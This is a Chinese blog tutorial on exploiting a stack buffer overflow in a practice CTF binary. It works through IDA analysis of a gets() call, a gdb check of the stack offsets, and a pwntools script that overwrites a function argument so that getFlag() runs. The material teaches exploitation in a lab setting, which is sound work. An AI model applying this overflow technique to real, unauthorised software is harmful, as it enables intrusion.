python 堆栈溢出_PWN简单堆栈溢出漏洞利用(一) | kTWO-个人博客_weixin_39652646的博客-程序员宅基地

技术标签: python 堆栈溢出  

摘要

本文将详细讲述PWN二进制漏洞中简单的堆栈利用,本文将从原理开始讲述,然后层层深入,让读者从理解到动手操作,能够跟着教程完成所有操作。

0x01 环境和程序准备

安装有pwntools的kali Linux,安装教程可参考上一篇文章。

gdb-peda工具,这个是gdb的插件这个可以百度一下安装和使用教程。

IDA反汇编工具,可自行百度下载和学习使用方法,本文只做简单介绍。

一个Linxu X86的含有漏洞的小程序pwn0,可在本文末尾下载链接处下载。

请在“/home/pwn/pwn0/"目录下建立flag文件,内容为flag{this_is_flag},此文件将是我们要利用pwn0读取的文件。

0x02 运行程序并反汇编分析

首先我们运行我们的程序,发现其就是一个简单的输入,然后输出的小程序,如下图:

我们把程序拉到IDA里面分析一下,发现函数foo(),getFlag(),在函数处按F5,将显示对应的C语言程序,如下:

main函数

从main函数中可以看到并没有什么,只是简单的输出一句话,然后调用了一下foo函数,但是这里给foo函数船了实参值为0x123456,这个后面我们用得到。下面我们看一下foo函数的结构:

foo函数

foo函数有一个参数a1,然后函数体内定义了两个变量,分别是result和s,从IDA分析看,result是一个寄存器变量,不占用内存。然后这个函数接收了我们的输入,然后进行显示,重要的是里面的if判断恒为false。所以这个getFlag()函数就是我们要解决的问题。

getFlag函数

我们发现main函数没有什么问题,主要函数在foo函数,getFlag函数便是我们要执行的函数,但是从现在的逻辑看,似乎这个getFlag()函数是不可能被执行的,因为a1的值为0x123456,但是if里面的判断却要求a1的值为0x61616161(转换为16进制查看),所以这个if是恒为false的。

分析一下流程发现,在foo函数里面声明的char s,但是使用了gets(&s),让我们为s赋值。gets()函数是不会检查你输入的字符串长度的,所以此处会有一个溢出漏洞,大部分简单的溢出漏洞都出现在让我们输入的地方。

foo函数中的第四行代码简单说一下:

C

char s; // [sp+Ch] [bp-1Ch]@1

1

chars;// [sp+Ch] [bp-1Ch]@1

IDA以及为我们分析出来了,这个s变量在内存中的位置距离栈顶有+Ch个字节,距离栈底有-1Ch个字节。注意这里的sp就是esp,bp就是ebp的意思,不明白的可看前面的函数栈分析文章。

分析到这里,我们简单画一下这个foo函数的栈结构图:

这里说一下啊reault变量是eax变量,没有往内存里面存,从IDA的标注可以看出来。有一个知识点也要注意一下,栈里面的数据在写的时候是从低地址往高地址写的,什么意思呢?就是从s开始写数据,一旦s的1字节被写满,就会继续往高地址的地方延申。

分析函数栈可知,我们的变量s只要内容够长,就可以不断的往下延申,最终覆盖掉EBP、EIP甚至a1,所以这里我们便有了利用思路,因为我们的而判断是判断a1和常量0x61616161是否相等,如果我们将s延申,覆盖掉a1,让a1的值恰好等于0x61616161那么if判断不就可以成立,然后执行getFlag()函数拿到flag。下面开始写Payload。

0x03 调试并分析Payload

我们先看一下foo函数的汇编代码:

Dump of assembler code for function foo:

0x0804859f : push ebp

0x080485a0 : mov ebp,esp

0x080485a2 : sub esp,0x28

0x080485a5 : sub esp,0xc

0x080485a8 : lea eax,[ebp-0x1c]

0x080485ab : push eax

0x080485ac : call 0x8048400

0x080485b1 : add esp,0x10

0x080485b4 : sub esp,0xc

0x080485b7 : lea eax,[ebp-0x1c]

0x080485ba : push eax

0x080485bb : call 0x8048420

0x080485c0 : add esp,0x10

0x080485c3 : cmp DWORD PTR [ebp+0x8],0x61616161

0x080485ca : jne 0x80485d1

0x080485cc : call 0x804855b

0x080485d1 : nop

0x080485d2 : leave

0x080485d3 : ret

End of assembler dump.

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

Dumpofassemblercodeforfunctionfoo:

0x0804859f:pushebp

0x080485a0:movebp,esp

0x080485a2:subesp,0x28

0x080485a5:subesp,0xc

0x080485a8:leaeax,[ebp-0x1c]

0x080485ab:pusheax

0x080485ac:call0x8048400

0x080485b1:addesp,0x10

0x080485b4:subesp,0xc

0x080485b7:leaeax,[ebp-0x1c]

0x080485ba:pusheax

0x080485bb:call0x8048420

0x080485c0:addesp,0x10

0x080485c3:cmpDWORDPTR[ebp+0x8],0x61616161

0x080485ca:jne0x80485d1

0x080485cc:call0x804855b

0x080485d1:nop

0x080485d2:leave

0x080485d3:ret

Endofassemblerdump.

我们在0x080485ab出下断点,可以看到变量s的地址就是eax的值,如下图:

此时eax的值为0xbffff1ac,EBP的值为0xbffff1c8正好相差0x1C,然后我们看下栈里面的情况:

我们发现我们的分析是正确的,a1在EIP下面,s和EBP相差0x1C,那么我们来计算一下s到a1的距离一共是:0x1C + 0x4(EBP) + 0x4(EIP) = 0x24 = 36 ,距离大概就是这样,那么我们测试一下,如果输入36个A和4个B会发生什么,输入完成后查看堆栈:

我们发现原来0xbffff1d0地址中存储的0x1231456被我们的BBBB给覆盖掉了。所以我们只需要将BBBB改为0x61616161就可以使if成立,但是这里要注意,我们输入的使字符串,和数字使不同的,我们需要将数字转化为字符串然后进行输入,这里我们使用Python中pwntools进行输入和输出。

到此位置我们可以编写Payload进行溢出利用了,下面开始编写脚本。

0x04 编写Payload利用脚本

基本的脚本利用如下:

pwn0Crack.py

Python

#-*- coding: utf-8 -*-

from pwn import *

#载入程序

pwn = process('./pwn0')

#读取一行程序的输出并显示

print pwn.recvline()

#构造payload

payload = 'A' * 0x1C + 'A' * 0x4 + 'A' * 0x4

#p32封包,将值转换为字符

payload += p32(0x61616161)

#向程序输入一行数据

pwn.sendline(payload)

#打印一行输出

print pwn.recvline()

#打印出flag

print pwn.recvline()

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

#-*- coding: utf-8 -*-

frompwnimport*

#载入程序

pwn=process('./pwn0')

#读取一行程序的输出并显示

printpwn.recvline()

#构造payload

payload='A'*0x1C+'A'*0x4+'A'*0x4

#p32封包,将值转换为字符

payload+=p32(0x61616161)

#向程序输入一行数据

pwn.sendline(payload)

#打印一行输出

printpwn.recvline()

#打印出flag

printpwn.recvline()

看程序运行结果如下:

可以看到我们的getFlag函数以及成功运行,并且读取到了flag文件

0x05 补充

本文的程序比较简单,但是理解溢出漏洞练手的好程序,并且这个程序不止这个个利用方式,还有令该一个方式就是直接覆盖EIP然后跳转到getFlag()函数,下篇文章我们将讲述这种做法。

本文程序下载(密码akcz):

版权声明:本文为博主原创文章,遵循 CC 4.0 BY-SA 版权协议,转载请附上原文出处链接和本声明。
本文链接:https://blog.csdn.net/weixin_39652646/article/details/110774281

智能推荐

fufu笔记之多线程_一只java小白白的奋斗史的博客-程序员宅基地

1.多线程概述进程:App,一个类文件线程:App的功能,类里的一个方法2线程的核心概念线程就是独立的执行路径在程序运行时,即使没有自己创建线程,后台也会有多个线程,如主线程,gc线程;main()称之为主线程,为系统的入口用于执行整个程序在一个进程中,如果开辟了多个线程,线程的运行由调度器安排带调度,调度器是与操作系统紧密相关的,先后顺序是不能人为干预的对同一份资源操作时,会存在资源抢夺的问题,需要加入并发控制线程会带来额外的开销,如cpu调度时间,并发控制开销每个线程在自己的工作

Oracle数据库的备份与规复_weixin_30257433的博客-程序员宅基地

滥觞:网海拾贝 ---- 当我们运用一个数据库时,总渴望数据库的内容是牢靠的、切确的,但因为计较机零碎的偏差(包孕呆板偏差、介质偏差、误使用等),数据库无意也可以遭到破损,这时怎样尽快规单数据就成为燃眉之急。假如往常对数据库做了备份,那么此时规单数据就显得很轻易。由此可见,做好数据库的备份是何等的重要,下面笔者就以ORACLE7为例,来讲演一下数据库的备份和规复。OR...

GNU风格 汇编语法总结_一口Linux的博客-程序员宅基地_gnu汇编

汇编源程序一般用于系统最基本的初始化:初始化堆栈指针、设置页表、操作 ARM的协处理器等。这些初始化工作完成后就可以跳转到C代码main函数中执行。1、 GNU汇编语言语句格式任何Linux汇编行都是如下结构:[:][} @commentinstruction:指令directive:伪操作pseudo-instruction:伪指令:标号, GNU汇编中,任何以冒号结尾的标识符都被认为是一个标号,而不一定非要在一行的开始。comment:语句的注释下面定义一个"add"的函数,最

FPAG学习笔记——I2C接口实现_星河带悦流的博客-程序员宅基地

I2C总线介绍  I2C总线是由Philips公司开发的一种简单、双向二线制同步串行总线。它只需要两根线即可在连接于总线上的器件之间传送信息。  主器件用于启动总线传送数据,并产生时钟以开放传送的器件,此时任何被寻址的器件均被认为是从器件.在总线上主和从、发和收的关系不是恒定的,而取决于此时数据传送方向。如果主机要发送数据给从器件,则主机首先寻址从器件,然后主动发送数据至从器件,最后由主机终止数据传送;如果主机要接收从器件的数据,首先由主器件寻址从器件.然后主机接收从器件发送的数据,最后由主机终止接收过

django 消息模块 (messages ) 的使用_Alvin__Yang的博客-程序员宅基地_django message用法

django 使用消息模块,要注意的是,返回的render_to_response 需要加上context_instance具体的:from django.contrib import messagesfrom django.shortcuts import render_to_response,RequestContextfrom django.template import

从客户端(hidXML="<FlexCell xml:space=...")中检测到有潜在危险的Request.Form值_weixin_30691871的博客-程序员宅基地

使用FlexCell生产报表,使用浏览器查看报表出现以下错误提示;解决方法解决方案一:修改浏览器为兼容模式解决方案二: 在.aspx文件头中加入这句: &lt;%@ Page validateRequest="false"%&gt; 解决方案三: 修改web.config文件: &lt;configuration&gt; &lt;system.web&gt; &...

随便推点

elk之elasticsearch安装与配置_带鱼兄的博客-程序员宅基地

1.术语讲解cluster:集群Node:节点Index:类似mysql的databaseType:类似mysql的tableDoccument:内容Shard:数据分片,shard的最大默认Doccument数是2,147,483,519Replicas:数据副本数,查询时也会用到,不仅仅是备份2.安装(a)logstash运行依赖jr

python Qspliter_我爱吃辣椒@的博客-程序员宅基地

# 创建父控件为 Window 的分割窗口:splitter_0 = QSplitter(self) # 设置分割窗口下的控件不可折叠:splitter_0.setChildrenCollapsible(False)# 设置分割条的宽度:splitter_0.setHandleWidth(35) # 设置分割窗口大:splitter_0.resize(600, 450) # 创建父...

IP地址专题四:TCP/IP子网掩码教程_weixin_34223655的博客-程序员宅基地

一、缺省A、B、C类地址,子网掩码; 二、子网掩码的作用: code: IP地址 192.20.15.5 11000000 00010100 00001111 00000101 子网掩码 255.255.0.0 11111111 11111111 00000000 00000000 网络ID 192.20.0.0 11000000 00010100 0000000...

pythonz字符串去重并排序_卷卷怪的博客-程序员宅基地_字符串去重排序python

项目场景:python练习题问题描述: 输入一个非空字符串,去除重复的字符后,从小到大排序输出为一个新字符串。![在这里插入图片描述](https://img-blog.csdnimg.cn/b9d6e69f05914e7ab8a7662652a6ad45.png?x-oss-process=image/watermark,type_ZHJvaWRzYW5zZmFsbGJhY2s,shadow_50,text_Q1NETiBAUGFyYW5vaWTigqw=,size_20,color_F

PID参数整定口诀与经验法整定PID参数_weixin_34198583的博客-程序员宅基地

本文转载自:http://blog.sina.com.cn/s/blog_133e03d800102x01p.htmlPID参数整定口诀:参数整定找最佳,从小到大顺序查先是比例后积分,最后再把微分加曲线振荡很频繁,比例度盘要调大曲线漂浮绕大湾,比例度盘往小调曲线偏离回复慢,积分时间往下降曲线波动周期长,积分时间再加长曲线振荡频率快,...

oracle数据库扩容语句,oracle数据库语句积累_儒雅的半帘香雾的博客-程序员宅基地

1、从一个表选出数据更新另一个表(后面的exists一定要加)update jqhdztset shid =(select shidfrom v_plat_userjqinfo twhere jqhdzt.jqbh = t.JQBHand jqhdzt.shid &lt;&gt; t.SHID)where shid = ''and exists (select 1from v_plat_userj...

推荐文章

热门文章

相关标签